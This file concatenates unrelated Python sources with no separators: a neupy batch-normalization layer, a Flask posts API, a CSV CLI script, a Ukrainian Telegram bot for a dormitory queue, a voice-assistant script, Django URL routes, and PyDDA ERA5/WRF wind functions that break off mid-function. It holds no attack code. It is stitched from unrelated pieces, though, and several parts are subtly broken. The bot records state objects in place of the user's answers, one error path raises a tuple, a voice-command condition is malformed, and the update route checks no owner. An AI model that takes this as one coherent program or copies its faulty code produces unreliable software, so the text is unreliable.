import theano
import theano.tensor as T
import numpy as np

from neupy.core.properties import (NumberProperty, ProperFractionProperty,
                                   ParameterProperty)
from neupy.utils import asfloat, as_tuple
from neupy.core.init import Initializer, Constant
from .activations import AxesProperty
from .utils import dimshuffle
from .base import BaseLayer

__all__ = ('BatchNorm',)

def find_opposite_axes(axes, ndim):
    """
    Based on the total number of dimensions function
    finds all axes that are missed in the specified
    list ``axes``.

    Parameters
    ----------
    axes : list or tuple
        Already known axes.
    ndim : int
        Total number of dimensions

    Returns
    -------
    list

    Examples
    --------
    >>> from neupy.layers.normalization import find_opposite_axes
    >>> find_opposite_axes([0, 1], ndim=4)
    [2, 3]
    >>>
    >>> find_opposite_axes([], ndim=4)
    [0, 1, 2, 3]
    >>>
    >>> find_opposite_axes([0, 1, 2], ndim=3)
    []
    """
    if any(axis >= ndim for axis in axes):
        raise ValueError("Some axes have invalid values. Axis value "
                         "should be between 0 and {}".format(ndim))

    return [axis for axis in range(ndim) if axis not in axes]

class BatchNorm(BaseLayer):
    """
    Batch-normalization layer.

    Parameters
    ----------
    axes : int, tuple with int or None
        The axis or axes along which normalization is applied.
        ``None`` means that normalization will be applied over
        all axes except the first one. In case of 4D tensor it will
        be equal to ``(0, 2, 3)``. Defaults to ``None``.
    epsilon : float
        Epsilon is a positive constant that adds to the standard
        deviation to prevent the division by zero.
        Defaults to ``1e-5``.
    alpha : float
        Coefficient for the exponential moving average of
        batch-wise means and standard deviations computed during
        training; the closer to one, the more it will depend on
        the last batches seen. Value needs to be between ``0`` and ``1``.
        Defaults to ``0.1``.
    gamma : array-like, Theano variable, scalar or Initializer
        Default initialization methods you can
        find :ref:`here <init-methods>`.
        Defaults to ``Constant(value=1)``.
    beta : array-like, Theano variable, scalar or Initializer
        Default initialization methods you can
        find :ref:`here <init-methods>`.
        Defaults to ``Constant(value=0)``.

    Methods
    -------
    {BaseLayer.Methods}

    Attributes
    ----------
    {BaseLayer.Attributes}

    References
    ----------
    .. [1] Batch Normalization: Accelerating Deep Network Training
           by Reducing Internal Covariate Shift,
           http://arxiv.org/pdf/1502.03167v3.pdf
    """
    axes = AxesProperty(default=None)
    alpha = ProperFractionProperty(default=0.1)
    epsilon = NumberProperty(default=1e-5, minval=0)
    gamma = ParameterProperty(default=Constant(value=1))
    beta = ParameterProperty(default=Constant(value=0))

    def initialize(self):
        super(BatchNorm, self).initialize()

        input_shape = as_tuple(None, self.input_shape)
        ndim = len(input_shape)

        if self.axes is None:
            # If ndim == 4 then axes = (0, 2, 3)
            # If ndim == 2 then axes = (0,)
            self.axes = tuple(axis for axis in range(ndim) if axis != 1)

        if any(axis >= ndim for axis in self.axes):
            raise ValueError("Cannot apply batch normalization on the axis "
                             "that doesn't exist.")

        opposite_axes = find_opposite_axes(self.axes, ndim)
        parameter_shape = [input_shape[axis] for axis in opposite_axes]

        if any(parameter is None for parameter in parameter_shape):
            unknown_dim_index = parameter_shape.index(None)
            raise ValueError("Cannot apply batch normalization on the axis "
                             "with unknown size over the dimension #{} "
                             "(0-based indeces).".format(unknown_dim_index))

        self.running_mean = theano.shared(
            name='running_mean_{}'.format(self.layer_id),
            value=asfloat(np.zeros(parameter_shape))
        )
        self.running_inv_std = theano.shared(
            name='running_inv_std_{}'.format(self.layer_id),
            value=asfloat(np.ones(parameter_shape))
        )

        if isinstance(self.gamma, Initializer):
            self.gamma = self.gamma.sample(parameter_shape)

        if isinstance(self.beta, Initializer):
            self.beta = self.beta.sample(parameter_shape)

        self.gamma = theano.shared(
            name='gamma_{}'.format(self.layer_id),
            value=asfloat(self.gamma),
        )
        self.beta = theano.shared(
            name='beta_{}'.format(self.layer_id),
            value=asfloat(self.beta),
        )
        self.parameters = [self.gamma, self.beta]

    def output(self, input_value):
        epsilon = asfloat(self.epsilon)
        alpha = asfloat(self.alpha)
        gamma, beta = self.gamma, self.beta

        ndim = input_value.ndim
        axes = self.axes

        running_mean = self.running_mean
        running_inv_std = self.running_inv_std

        input_mean = input_value.mean(axes)
        input_var = input_value.var(axes)
        input_inv_std = T.inv(T.sqrt(input_var + epsilon))

        self.updates = [(
            running_inv_std,
            asfloat(1 - alpha) * running_inv_std + alpha * input_inv_std
        ), (
            running_mean,
            asfloat(1 - alpha) * running_mean + alpha * input_mean
        )]

        if not self.training_state:
            mean = running_mean
            inv_std = running_inv_std

        else:
            mean = input_mean
            inv_std = input_inv_std

        opposite_axes = find_opposite_axes(axes, ndim)

        beta = dimshuffle(beta, ndim, opposite_axes)
        gamma = dimshuffle(gamma, ndim, opposite_axes)
        mean = dimshuffle(mean, ndim, opposite_axes)
        inv_std = dimshuffle(inv_std, ndim, opposite_axes)

        normalized_value = (input_value - mean) * inv_std
        return gamma * normalized_value + beta


from flask_classful import FlaskView, route
from flask import request, jsonify
from application.API.utils import AuthorizeRequest, notLoggedIn, b64_to_data
from application.API.Factory.BLFactory import BF
from application.API.Factory.SchemaFactory import SF
class APIPostView(FlaskView):

    def index(self):
        response = dict({"isLoggedIn": True})
        user = AuthorizeRequest(request.headers)
        if not user:
            return jsonify(notLoggedIn)

        posts = BF.getBL("post").get_posts(user)
        response.update({"posts": posts})
        return jsonify(response)

    def get(self, id):
        response = dict({"isLoggedIn": True})
        user = AuthorizeRequest(request.headers)
        if not user:
            return jsonify(notLoggedIn)

        post = BF.getBL("post").get_post_by_id(user, id)
        response.update({"post": post})
        return jsonify(response)

    @route('/delete_post/<string:post_id>/')
    def delete_post(self, post_id):
        response = dict({"isLoggedIn": True})
        user = AuthorizeRequest(request.headers)
        if not user:
            return jsonify(notLoggedIn)

        bl = BF.getBL("post")
        post = bl.get_post_obj_by_id(post_id, user)
        if not post:
            return jsonify(notLoggedIn)

        isDeleted = bl.delete_post(post)
        response.update({"isDeleted": isDeleted})
        return jsonify(response)

    def posts(self, id):
        response = dict({"isLoggedIn": True})
        user_id = id
        user = AuthorizeRequest(request.headers)
        if not user:
            return jsonify(notLoggedIn)

        if str(id) == "me":
            user_id = user.user_id

        post = BF.getBL("post").get_user_posts(user, user_id)
        response.update({"posts": post})
        return jsonify(response)

    def search(self, search):
        response = dict({"isLoggedIn": True})
        user = AuthorizeRequest(request.headers)
        if not user:
            return jsonify(notLoggedIn)

        posts = BF.getBL("post").search_posts(user, search)
        response.update({"posts": posts})
        return jsonify(response)

    @route('/create/', methods=['POST'])
    def create(self):
        response = dict({"isLoggedIn": True})
        user = AuthorizeRequest(request.headers)
        image = None
        if not user:
            return jsonify(notLoggedIn)

        print(request.files)

        if request.method == "POST":
            if request.form["post_title"] == "" or request.form["description"] == "":
                response.update(
                    {"isPostCreated": False, "message": "Post title and description cannot be empty."}
                )
                return jsonify(response)

            post_title = b64_to_data(request.form["post_title"])
            post_description = b64_to_data(request.form["description"])
            if request.files:
                image = request.files['image']

            if not post_title or not post_description:
                response.update(
                    {"isPostCreated": False, "message": "Post title and description cannot be empty."}
                )
                return jsonify(response)

            isPostAdded, post = BF.getBL("post").add_post(post_title, post_description, image, user)
            if isPostAdded:
                post = SF.getSchema("post", isMany=False).dump(post)
            response.update({"isPostCreated": isPostAdded, "post": post, "isError": not isPostAdded})
            return jsonify(response)
        else:
            return "invalid request"

    @route('/update/<string:post_id>/', methods=['POST'])
    def update(self, post_id):
        response = dict({"isLoggedIn": True})
        user = AuthorizeRequest(request.headers)
        image = None
        if not user:
            return jsonify(notLoggedIn)

        post = BF.getBL("post").get_post_obj_by_id(post_id)
        if not post:
            return jsonify(notLoggedIn)

        if request.method == "POST":
            if request.form["post_title"] == "" or request.form["description"] == "":
                response.update(
                    {"isPostCreated": False, "message": "Post title and description cannot be empty."}
                )
                return jsonify(response)

            post_title = b64_to_data(request.form["post_title"])
            post_description = b64_to_data(request.form["description"])
            if request.files:
                image = request.files['image']

            if not post_title or not post_description:
                response.update(
                    {"isPostCreated": False, "message": "Post title and description cannot be empty."}
                )
                return jsonify(response)

            isPostUpdated, updated_post = BF.getBL("post").add_post(post_title, post_description, image, user, post=post)
            if isPostUpdated:
                updated_post = SF.getSchema("post", isMany=False).dump(updated_post)
            response.update({"isPostUpdated": isPostUpdated, "post": updated_post, "isError": not isPostUpdated})
            return jsonify(response)
        else:
            return "invalid request"


import sys
import os
# Tell syspath where to import modules from other folders in root direcotry
sys.path.append(os.path.join(os.path.dirname(__file__), '..'))
from env import EnvReader
from model.combine import CombineData

class Command:
    """ Command line command execution  """

    def __init__(self):
        self.debug = EnvReader.getDebugMode(self)
        self.csvPath = EnvReader.getCsvFolder(self)
        sys.tracebacklimit = self.debug

    def getArgs(self):
        """ Get arguments passed to command
            Returns:
                List of arguments
        """
        arguments = len(sys.argv) - 1

        # Command parameters validation
        if arguments < 2:
            raise Exception('Missing arguments. Please provide input and output csv file')

        if arguments > 2:
            raise Exception('Too many arguments. Please provide input and output csv file')

        response = []
        for i, arg in enumerate(sys.argv):
            if i != 0:
                response.append(arg)

        # Output file name validation
        if response[1].split('.')[-1]  != 'csv':
            raise Exception('Provided output file name is not valid csv file')

        return response

    def runCommand(self):
        """ Run command """
        params = self.getArgs()
        x = CombineData()
        # Return response from CombineData.combine() to be printed in cli
        return x.combine(self.csvPath + params[0], self.csvPath + params[1])

""" Command line call """
x = Command()
output = x.runCommand()
#print(output)


import logging
import os

from aiogram import Bot, Dispatcher, types
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters.state import State, StatesGroup
from aiogram.utils import executor

from smartcontract_interaction import *
from dotenv import load_dotenv

load_dotenv()

logging.basicConfig(level=logging.INFO)

API_TOKEN = os.getenv("API_KEY")

bot = Bot(token=API_TOKEN)

storage = MemoryStorage()
dp = Dispatcher(bot, storage=storage)

class Form(StatesGroup):
    first_name = State()
    second_name = State()
    third_name = State()
    benefits = State()
    documents = State()

@dp.message_handler(commands='start')
async def cmd_start(message: types.Message):
    await Form.first_name.set()
    await message.answer("Привіт 👋 \n\n "
                         "🏠 Цей бот допоможе Вам зареєструватися в чергу до гуртожитку! \n\n"
                         "✔Для заповнення заявки Ви маєте надати такі персональні дані: \n"
                         "1. Ім`я\n"
                         "2. Прізвище\n"
                         "3. По батькові\n"
                         "4. У яку чергу Вас записувати? (пільгову чи звичайну)\n"
                         "5. Документи для поселення в гуртожиток (бажано додати в архів дані заявки) 🧾 \n"
                         "\t\t5.1 (Направлення на поселення (видане комісією з поселення)\n"
                         "\t\t5.2 Заява на поселення\n"
                         "\t\t5.3 Копія паспорта\n"
                         "\t\t5.4 Копія ідентифікаційного коду\n"
                         "\t\t5.5 Фотокартка 3 x 4 \n"
                         "\n"
                         "\n"
                         "Для перевірки прозорості всіх транзакцій використовується мережа "
                         "Rinkeby Ethereum\n"
                         "https://rinkeby.etherscan.io/address/0xcec0faa3dfbcdc5c6e3de6e5c5955a65245483fb",
                         parse_mode="HTML")

# You can use state '*' if you need to handle all states
@dp.message_handler(state='*', commands='cancel')
async def cancel_handler(message: types.Message, state: FSMContext):
    current_state = await state.get_state()
    if current_state is None:
        return

    logging.info('Cancelling state %r', current_state)
    # Cancel state and inform user about it
    await state.finish()
    await message.reply('Відмінено! ❌', reply_markup=types.ReplyKeyboardRemove())

@dp.message_handler(state=Form.second_name)
async def process_second_name(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data['first_name'] = message.text

    await Form.next()
    await message.reply("Введіть Ваше Прізвище: ")

@dp.message_handler(state=Form.third_name)
async def process_third_name(message: types.Message, state: FSMContext):
    # Update state and data
    await Form.next()
    await state.update_data(second_name=message.text)
    await message.reply("Введіть Ваше По Батькові: ")

@dp.message_handler(state=Form.benefits)
async def process_benefits(message: types.Message, state: FSMContext):
    # Update state and data
    await Form.next()
    await state.update_data(third_name=message.text)
    await message.reply("Введіть +, якщо Ви є іноземцем або студентом з пільгами: ")

@dp.message_handler(lambda message: "+" in message.text or "-" in message.text, state=Form.documents)
async def process_gender(message: types.Message, state: FSMContext):
    if message.text == '-':
        await state.update_data(benefits=False)
    else:
        await state.update_data(benefits=True)

    async with state.proxy() as data:
        data['documents'] = message.document
        User().create_record(message.document, Form.first_name, Form.second_name, Form.third_name, Form.benefits)

    # Finish conversation
    await state.finish()

if __name__ == '__main__':
    executor.start_polling(dp, skip_updates=True)


import pyttsx3
from datetime import *
import speech_recognition as sr
import wikipedia
import webbrowser
import os

#Initialization of pyttsx3 module
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voices', voices[0].id)

#Creating a function which will speak the given command
def speak(audio):
    engine.say(audio)
    engine.runAndWait()

#A function which will greet the user according to time of the system
def wish():
    hour = int(datetime.now().hour)
    if hour >= 0 and hour < 12:
        print("Good Morning!")
        speak("Good Morning!")

    elif hour >= 12 and hour < 17:
        print("Good Afternoon!")
        speak("Good Afternoon!")

    else:
        print("Good Evening!")
        speak("Good Evening!")

    print("How may I help you?")
    speak("How may I help you?")

#SpeechRecognition intialization with expection handling
#It will take the input from the user as speech and will store in query
def takeCommand():
    r = sr.Recognizer()
    with sr.Microphone() as source:
        print("Listening...")
        audio = r.listen(source)

    try:
        print("Recognizing...")
        query = r.recognize_google(audio, language='en-in')
        print(f"User said: {query}\n")

    except Exception as e:
        print("say that again please...")
        speak("say that again please!")
        return  "None"
    return query

if __name__ == "__main__":
    wish()
    while True:
        #Converting the input from user in lower so that no problem occurs when matching with query
        query = takeCommand().lower()

        #When the user asks it's name, this condition will execute
        if 'your name' in query:
            print("I am Jarvis. Jarvis stands for Just A Rather Very Intelligent System")
            speak('I am Jarvis!.Jarvis stands for! Just A Rather Very Intelligent System ')
            print()

        #If the input from the user contains "how are you" string, this condition will undergo
        elif 'how are you' in query:
            print("For computer software, I'm living the dream. Thanks for asking")
            speak("For computer software,, I'm living the dream. Thanks for asking")
            print()

        # This command will show wikipedia results
        # You just have to say for example Chris Evans Wikipedia
        # It will search for Chris Evans on wikipedia
        elif 'wikipedia' in query:
            print('Searching Wikipedia...')
            speak('Searching Wikipedia')
            query = query.replace("wikipedia", "")
            results = wikipedia.summary(query, sentences=2)  # sentences = 2 implies read 2 sentences only from the results
            print('According to wikipedia')
            speak('According to wikipedia')
            print(results)
            speak(results)
            print()

        #Open youtube command will open youtube on your system broswer
        elif 'open youtube' in query:
            print("Opening youtube...")
            speak("Opening youtube")
            webbrowser.open("youtube.com")
            break #As you have opened youtube, the while loop will break

        #Same goes for opening google and email
        elif 'open google' in query:
            print("Opening Google...")
            speak("Opening google")
            webbrowser.open("google.com")
            break #As you have opened google, the while loop will break

        elif 'open email' in query:
            print("Opening Email...")
            speak("Opening E-mail")
            webbrowser.open("gmail.com")
            break #As you have opened email, the while loop will break

        elif 'open spotify' in query:
            musicPath = "C:\\Users\\DELL\\Desktop\\Spotify" #You must add path of spotify in your system.
            print("Opening Spotify...")
            speak("Opening Spotify")
            os.startfile(musicPath)
            break #As you have opened spotify, the while loop will break

        elif 'open twitter' in query:
            print("Opening Twitter...")
            speak("Opening Twitter")
            webbrowser.open("twitter.com")
            break #As you have opened twitter, the while loop will break

        #This command will open whatsapp in web
        elif 'open whatsapp' in query:
            print("Opening Whatsapp...")
            speak("Opening Whatsapp")
            webbrowser.open("web.whatsapp.com")
            break #As you have opened whatsapp, the while loop will break

        #For general talking you can ask it questions
        elif 'What you can do for me' in query:
            print('All that you expect from me')
            speak('All that you expect from me!')
            print()

        elif ('do you have any friend' or 'do you have any friends') in query:
            print("Yeah! Alexa, Google assistant and Siri are my friends and my idols")
            speak("Yeah! Alexa, Google assistant and Siri are my friends and my idols")
            print()

        #This command will give you the current time as per your system timings
        elif 'the time' in query:
            strTime = datetime.now().strftime("%H:%M:%S")
            print("It's", strTime)
            speak(f"It's {strTime}")
            print()

        #For closing the program, Just use close or quit in your input
        elif 'close' in query:
            print("Good-Bye until next time")
            speak("Good-Byeee! until next time")
            break

        elif 'quit' in query:
            print("Quiting...   GoodBye..")
            speak("Quiting!! Goodbyeee")
            break


from django.conf.urls import patterns, url

from rest_framework import routers

import views
import api

from forms import LoginForm

urlpatterns = patterns('',
	url(r'user/(?P<pk>[\d]+)/?$', views.ListTweetsByUser.as_view(), name='user-tweet-list'),

	url(r'hashtag/(?P<tag>[-_\w]+)/?$', views.ListTweetsByHashTag.as_view(), name='hashtag-tweet-list'),

    url(r'^login/$', 'django.contrib.auth.views.login', {
            "template_name": "blog/login.html", 'authentication_form': LoginForm}, name='login-user'),

    url(r'logout/$', 'django.contrib.auth.views.logout', {'next_page': '/'}, name='logout-user'),

    url(r'new/?$', views.CreateTweetView.as_view(), name='tweet-create'),

    url(r'^$', views.ListTweets.as_view(), name='tweet-list'),

)

router = routers.SimpleRouter()
router.register(r'api/tweets', api.TweetViewSet, base_name='api-tweet')
router.register(r'api/hashtags', api.HashTagViewSet, base_name='api-hashtag')
urlpatterns += router.urls


import numpy as np
import pyart
import gc
import tempfile
import os

# We want cfgrib to be an optional dependency to ensure Windows compatibility
try:
    import cfgrib

    CFGRIB_AVAILABLE = True
except ImportError:
    CFGRIB_AVAILABLE = False

# We really only need the API to download the data, make ECMWF API an
# optional dependency since not everyone will have a login from the start.

try:
    import cdsapi

    ERA5_AVAILABLE = True
except ImportError:
    ERA5_AVAILABLE = False

from netCDF4 import Dataset
from datetime import datetime, timedelta
from scipy.interpolate import griddata, NearestNDInterpolator, LinearNDInterpolator
from copy import deepcopy

def download_needed_era_data(Grid, start_date, end_date, file_name):
    """
    Written by: Hamid Ali Syed (@syedhamidali), and Bobby Jackson.
    This function will download the ERA-5 data in the region
    specified by the input Py-ART Grid within the interval specified by
    start_date and end_date. This is useful for the batch processing of
    files since the CDS-API is limited to 20 queued requests at a time.
    This is also useful if you want to store ERA5 data for future
    use without having to download it again.

    You need to have the ERA5 CDSAPI and an CDS Copernicus
    account set up in order to use this feature. Go to this
    website for instructions on installing the API and
    setting up your account:

    https://cds.climate.copernicus.eu/api-how-to

    Parameters:
        Grid: Py-ART Grid
            The input Py-ART Grid to modify.
        start_date: datetime.datetime
            The start date of the data to download.
        end_date: datetime.datetime
            The end date of the data to download.
        file_name: str
            The name of the destination file.

    Returns:
        None
    """
    if ERA5_AVAILABLE is False and file_name is None:
        raise (
            ModuleNotFoundError,
            (
                "The CDSAPI is not installed. Please go to"
                + "https://cds.climate.copernicus.eu/api-how-to"
                + "in order to use the auto download feature."
            ),
        )

    # Round the latitude and longitude values to 2 decimal places
    N = round(Grid.point_latitude["data"].max(), 2)
    S = round(Grid.point_latitude["data"].min(), 2)
    E = round(Grid.point_longitude["data"].max(), 2)
    W = round(Grid.point_longitude["data"].min(), 2)

    # Generate a list of years within the date range
    years = [str(year) for year in range(start_date.year, end_date.year + 1)]

    # Define the retrieval parameters
    retrieve_dict = {
        "product_type": "reanalysis",
        "format": "netcdf",
        "variable": [
            "geopotential",
            "u_component_of_wind",
            "v_component_of_wind",
            "vertical_velocity",
        ],
        "pressure_level": [
            "1",
            "2",
            "3",
            "5",
            "7",
            "10",
            "20",
            "30",
            "50",
            "70",
            "100",
            "125",
            "150",
            "175",
            "200",
            "225",
            "250",
            "300",
            "350",
            "400",
            "450",
            "500",
            "550",
            "600",
            "650",
            "700",
            "750",
            "775",
            "800",
            "825",
            "850",
            "875",
            "900",
            "925",
            "950",
            "975",
            "1000",
        ],
        "year": years,
        "month": [str(start_date.month).zfill(2), str(end_date.month).zfill(2)],
        "day": [str(start_date.day).zfill(2), str(end_date.day).zfill(2)],
        "time": [
            "00:00",
            "01:00",
            "02:00",
            "03:00",
            "04:00",
            "05:00",
            "06:00",
            "07:00",
            "08:00",
            "09:00",
            "10:00",
            "11:00",
            "12:00",
            "13:00",
            "14:00",
            "15:00",
            "16:00",
            "17:00",
            "18:00",
            "19:00",
            "20:00",
            "21:00",
            "22:00",
            "23:00",
        ],
        "area": [N, W, S, E],
    }

    # Create a temporary file if the destination file is not specified
    if file_name is None:
        tfile = tempfile.NamedTemporaryFile()
        retrieve_dict["target"] = tfile.name
        file_name = tfile.name
    else:
        retrieve_dict["target"] = file_name

    # Initialize the CDS API client
    server = cdsapi.Client()

    # Retrieve ERA5 data
    server.retrieve("reanalysis-era5-pressure-levels", retrieve_dict, file_name)

def make_constraint_from_era5(
    Grid, file_name=None, vel_field=None, dest_era_file=None, method="nearest"
):
    """
    Written by: Hamid Ali Syed (@syedhamidali), and Bobby Jackson
    This function will read ERA 5 in NetCDF format
    and add it to the Py-ART grid specified by Grid.
    PyDDA will automatically download the ERA 5 data
    that you need for the scan. It will chose the
    domain that is enclosed by the analysis grid and
    the time period that is closest to the scan.
    It will then do a Nearest Neighbor interpolation of the
    ERA-5 u and v winds to the analysis grid.

    You need to have the ERA5 CDSAPI and an CDS Copernicus
    account set up in order to use this feature. Go to this
    website for instructions on installing the API and
    setting up your account:

    https://cds.climate.copernicus.eu/api-how-to

    Parameters
    ----------
    Grid: Py-ART Grid
        The input Py-ART Grid to modify.
    file_name: str or None
        The netCDF file containing the ERA 5 data. Setting to None will
        invoke the API in order to attempt to download the data. If the web
        API is experiencing delays, it is better to use it to download the
        file and then refer to it here. If this file does not exist
        PyDDA will use the API to create the file.
    vel_field: str or None
        The name of the velocity field in the Py-ART grid. Set to None to
        have Py-DDA attempt to automatically detect it.
    dest_era_file:
        If this is not None, PyDDA will save the interpolated grid
        into this file.
    method: str
            Interpolation method: 'nearest' for nearest neighbor,
            'linear' for linear.

    Returns
    -------
    new_Grid: Py-ART Grid
        The Py-ART Grid with the ERA-5 data added into the "u_era5",
        "v_era5", and "w_era5" fields.

    """
    if vel_field is None:
        vel_field = pyart.config.get_field_name("corrected_velocity")

    if ERA5_AVAILABLE is False and file_name is None:
        raise (
            ModuleNotFoundError,
            (
                "The CDSAPI is not installed. Please go to"
                + "https://cds.climate.copernicus.eu/api-how-to"
                + "in order to use the auto download feature."
            ),
        )

    grid_time = datetime.strptime(
        Grid.time["units"], "seconds since %Y-%m-%dT%H:%M:%SZ"
    )
    hour_rounded_to_nearest_1 = int(round(float(grid_time.hour)))

    if hour_rounded_to_nearest_1 == 24:
        grid_time = grid_time + timedelta(days=1)
        grid_time = datetime(
            grid_time.year,
            grid_time.month,
            grid_time.day,
            0,
            grid_time.minute,
            grid_time.second,
        )
    else:
        grid_time = datetime(
            grid_time.year,
            grid_time.month,
            grid_time.day,
            hour_rounded_to_nearest_1,
            grid_time.minute,
            grid_time.second,
        )

    if file_name is not None:
        if not os.path.isfile(file_name):
            raise FileNotFoundError(file_name + " not found!")

    if file_name is None:
        print("Downloading ERA5 data...")
        # ERA5 data is in pressure coordinates
        # Retrieve u, v, w, and geopotential
        # Geopotential is needed to convert into height coordinates

        N = round(Grid.point_latitude["data"].max(), 2)
        S = round(Grid.point_latitude["data"].min(), 2)
        E = round(Grid.point_longitude["data"].max(), 2)
        W = round(Grid.point_longitude["data"].min(), 2)

        retrieve_dict = {}
        pname = "reanalysis-era5-pressure-levels"
        retrieve_dict["product_type"] = "reanalysis"
        retrieve_dict["format"] = "netcdf"
        retrieve_dict["variable"] = [
            "u_component_of_wind",
            "v_component_of_wind",
            "vertical_velocity",
            "geopotential",
        ]
        retrieve_dict["pressure_level"] = [
            "1",
            "2",
            "3",
            "5",
            "7",
            "10",
            "20",
            "30",
            "50",
            "70",
            "100",
            "125",
            "150",
            "175",
            "200",
            "225",
            "250",
            "300",
            "350",
            "400",
            "450",
            "500",
            "550",
            "600",
            "650",
            "700",
            "750",
            "775",
            "800",
            "825",
            "850",
            "875",
            "900",
            "925",
            "950",
            "975",
            "1000",
        ]
        retrieve_dict["year"] = grid_time.strftime("%Y")
        retrieve_dict["month"] = grid_time.strftime("%m")
        retrieve_dict["day"] = grid_time.strftime("%d")
        retrieve_dict["time"] = grid_time.strftime("%H:00")
        retrieve_dict["area"] = [N, W, S, E]
        if dest_era_file is not None:
            retrieve_dict["target"] = dest_era_file
            file_name = dest_era_file
        else:
            tfile = tempfile.NamedTemporaryFile()
            retrieve_dict["target"] = tfile.name
            file_name = tfile.name
        server = cdsapi.Client()
        server.retrieve(name=pname, request=retrieve_dict, target=file_name)

    ERA_grid = Dataset(file_name, mode="r")
    base_time = datetime.strptime(
        ERA_grid.variables["time"].units, "hours since %Y-%m-%d %H:%M:%S.%f"
    )

    time_seconds = ERA_grid.variables["time"][:]
    our_time = np.array([base_time + timedelta(seconds=int(x)) for x in time_seconds])
    time_step = np.argmin(np.abs(base_time - grid_time))

    analysis_grid_shape = Grid.fields[vel_field]["data"].shape

    height_ERA = ERA_grid.variables["z"][:]
    u_ERA = ERA_grid.variables["u"][:]
    v_ERA = ERA_grid.variables["v"][:]
    w_ERA = ERA_grid.variables["w"][:]
    lon_ERA = ERA_grid.variables["longitude"][:]
    lat_ERA = ERA_grid.variables["latitude"][:]
    radar_grid_lat = Grid.point_latitude["data"]
    radar_grid_lon = Grid.point_longitude["data"]
    radar_grid_alt = Grid.point_z["data"]
    u_flattened = u_ERA[time_step].flatten()
    v_flattened = v_ERA[time_step].flatten()
    w_flattened = w_ERA[time_step].flatten()

    the_shape = u_ERA.shape
    lon_mgrid, lat_mgrid = np.meshgrid(lon_ERA, lat_ERA)

    lon_mgrid = np.tile(lon_mgrid, (the_shape[1], 1, 1))
    lat_mgrid = np.tile(lat_mgrid, (the_shape[1], 1, 1))
    lon_flattened = lon_mgrid.flatten()
    lat_flattened = lat_mgrid.flatten()
    height_flattened = height_ERA[time_step].flatten()
    height_flattened -= Grid.radar_altitude["data"]
    if method == "nearest":
        u_interp = NearestNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), u_flattened, rescale=True
        )
        v_interp = NearestNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), v_flattened, rescale=True
        )
        w_interp = NearestNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), w_flattened, rescale=True
        )
    elif method == "linear":
        u_interp = LinearNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), u_flattened, rescale=True
        )
        v_interp = LinearNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), v_flattened, rescale=True
        )
        w_interp = LinearNDInterpolator(
            (height_flattened, lat_flattened, lon_flattened), w_flattened, rescale=True
        )
    else:
        raise NotImplementedError("%s interpolation method not implemented!" % method)

    u_new = u_interp(radar_grid_alt, radar_grid_lat, radar_grid_lon)
    v_new = v_interp(radar_grid_alt, radar_grid_lat, radar_grid_lon)
    w_new = w_interp(radar_grid_alt, radar_grid_lat, radar_grid_lon)

    # Free up memory
    ERA_grid.close()

    if "tfile" in locals():
        tfile.close()

    u_field = {}
    u_field["data"] = u_new
    u_field["standard_name"] = "u_wind"
    u_field["long_name"] = "meridional component of wind velocity"
    v_field = {}
    v_field["data"] = v_new
    v_field["standard_name"] = "v_wind"
    v_field["long_name"] = "zonal component of wind velocity"
    w_field = {}
    w_field["data"] = w_new
    w_field["standard_name"] = "w_wind"
    w_field["long_name"] = "vertical component of wind velocity"
    temp_grid = deepcopy(Grid)
    temp_grid.add_field("U_era5", u_field, replace_existing=True)
    temp_grid.add_field("V_era5", v_field, replace_existing=True)
    temp_grid.add_field("W_era5", w_field, replace_existing=True)
    return temp_grid

def make_constraint_from_wrf(Grid, file_path, wrf_time, radar_loc, vel_field=None):
    """
    This function makes an initalization field based off of the u and w
    from a WRF run in netCDF format.
    Only u and v are used from the WRF netCDF file.

    Parameters
    ----------
    Grid: Py-ART Grid object
        This is the Py-ART Grid containing the coordinates for the
        analysis grid.
    file_path: str
        This is the path to the WRF grid
    wrf_time: datetime
        The timestep to derive the intialization field from.
    radar_loc: tuple
        The (X, Y) location of the radar in the WRF grid. The output
        coordinate system will be centered around this location
        and given the same grid specification that is specified
        in Grid.
    vel_field: str, or None
        This string contains the name of the velocity field in the
        Grid. None will try to automatically detect this value.

    Returns
    -------
    Grid: Py-ART Grid object
        This Py-ART Grid will contain the model u, v, and w.

    """

    # Parse names of velocity field
    if vel_field is None:
        vel_field = pyart.config.get_field_name("corrected_velocity")

    analysis_grid_shape = Grid.fields[vel_field]["data"].shape
    u = np.ones(analysis_grid_shape)
    v = np.ones(analysis_grid_shape)
    w = np.zeros(analysis_grid_shape)

    # Load WRF grid
    wrf_cdf = Dataset(file_path, mode="r")
    W_wrf = wrf_cdf.variables["W"][:]
    V_wrf = wrf_cdf.variables["V"][:]
    U_wrf = wrf_cdf.variables["U"][:]
    PH_wrf = wrf_cdf.variables["PH"][:]
    PHB_wrf = wrf_cdf.variables["PHB"][:]
    alt_wrf = (PH_wrf + PHB_wrf) / 9.81

    new_grid_x = Grid.point_x["data"]
    new_grid_y = Grid.point_y["data"]
    new_grid_z = Grid.point_z["data"]

    # Find timestep from datetime
    time_wrf = wrf_cdf.variables["Times"]
    ntimes = time_wrf.shape[0]
    dts_wrf = []
    for i in range(ntimes):
        x = "".join([x.decode() for x in time_wrf[i]])
        dts_wrf.append(datetime.strptime(x, "%Y-%m-%d_%H:%M:%S"))

    dts_wrf = np.array(dts_wrf)
    timestep = np.where(dts_wrf == wrf_time)
    if len(timestep[0]) == 0:
        raise ValueError(("Time " + str(wrf_time) + " not found in WRF file!"))

    x_len = wrf_cdf.__getattribute__("WEST-EAST_GRID_DIMENSION")
    y_len = wrf_cdf.__getattribute__("SOUTH-NORTH_GRID_DIMENSION")
    dx = wrf_cdf.DX
    dy = wrf_cdf.DY
    x = np.arange(0, x_len) * dx - radar_loc[0] * 1e3
    y = np.arange(0, y_len) * dy - radar_loc[1] * 1e3
    z = np.mean(alt_wrf[timestep[0], :, :, :], axis=(0, 2, 3))
    x, y, z = np.meshgrid(x, y, z)
    z = np.squeeze(alt_wrf[timestep[0], :, :, :])

    z_stag = (z[1:, :, :] + z[:-1, :, :]) / 2.0
    x_stag = (x[:, :, 1:] + x[:, :, :-1]) / 2.0
